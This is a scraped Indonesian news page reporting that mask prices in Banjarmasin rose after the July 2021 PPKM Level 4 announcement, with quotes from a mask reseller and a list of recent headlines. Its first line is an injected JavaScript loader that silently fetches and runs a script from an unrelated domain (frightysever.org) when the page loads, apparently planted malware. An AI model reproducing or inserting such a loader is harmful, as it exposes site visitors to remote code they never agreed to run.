(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Kabar PPKM Level 4 Dua Kota di Kalsel, Bikin Harga Masker Perlahan Naik


KANALKALIMANTAN.COM, BANJARMASIN – Masker barang wajib yang dibawa oleh masyarakat di kala pandemi Covid-19 tiba-tiba naik harganya di Kota Banjarmasin.

Alat yang berfungsi untuk menutupi area wajah khususnya bagian hidung dan mulut ini menjadi syarat dalam menerapkan protokol kesehatan.

Sebagian orang menganggap menjual masker tidak hanya menjadi lahan dagang yang selalu dicari, namun juga membantu saling melindungi agar terhindar dari penularan virus Covid-19.

Namun, setelah kabar mengenai PPKM level 4 rilis pada Jumat (23/7/2021) kemarin. Seolah menjadi pemicu masyarakat memborong masker untuk stok di rumah. Kondisi itu diketahui dari para pedagang, dimana harga masker kini meningkat drastis.

 

 

Baca juga: Kalsel Kondisi Genting, Dewan ‘Sorot’ Langkah Pemprov Tangani Covid-19 

Lidia Agustina, seorang reseller masker memberikan konfirmasi mengenai kenaikan harga. “Harga masker naiknya dari Rp 7 ribu sampai Rp 10 ribu, drastis sekali naiknya,”

Lidia Agustina, reseller masker. Foto: nurul

Ia mengatakan biasanya harga normal tidak sampai Rp 27-30 per kotak isi 50 pcs.

“Aku ngambil dari distributor di Jakarta, kalo harga normal biasanya dijual Rp 20 ribu per kotaknya, tapi karena sekarang naik drastis mungkin akan dinaikkan sedikit. Gak enak juga langsung naikkan harga tinggi, kasian yang mau beli,” ujar Lidia.

Baca juga: Belum Ada Posko Penyekatan PPKM Level 4 di Banjarbaru, Wali Kota: Masih Melihat Situasi 

“Di tempatku sekarang masker sudah ludes, aku masih matok harga sebelumnya. Jadi nawarin ke temen-temen biar beli masker sekarang untuk stok, soalnya aku prediksi ke depannya bakalan langka dan lebih mahal,” ucapnya kepada Kanalkalimantan.com saat dihubungi Minggu (25/7/2021) siang.

“Sekarang stok di distributor juga lagi banyak yang kosong, susah nyari untuk dijual lagi,” akunya. (kanalkalimantan.com/nurul)

Reporter : nurul
Editor : bie


Risa

Recent Posts

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

18 menit ago

Modus Pinjam Bendera Perusahaan Korupsi Proyek RS Kelua Tabalong

Empat Terdakwa Jalani Sidang, Satu Orang Mantan Kepala Dinas Kesehatan Read More

1 jam ago

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

14 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

15 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

15 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

15 jam ago

This website uses cookies.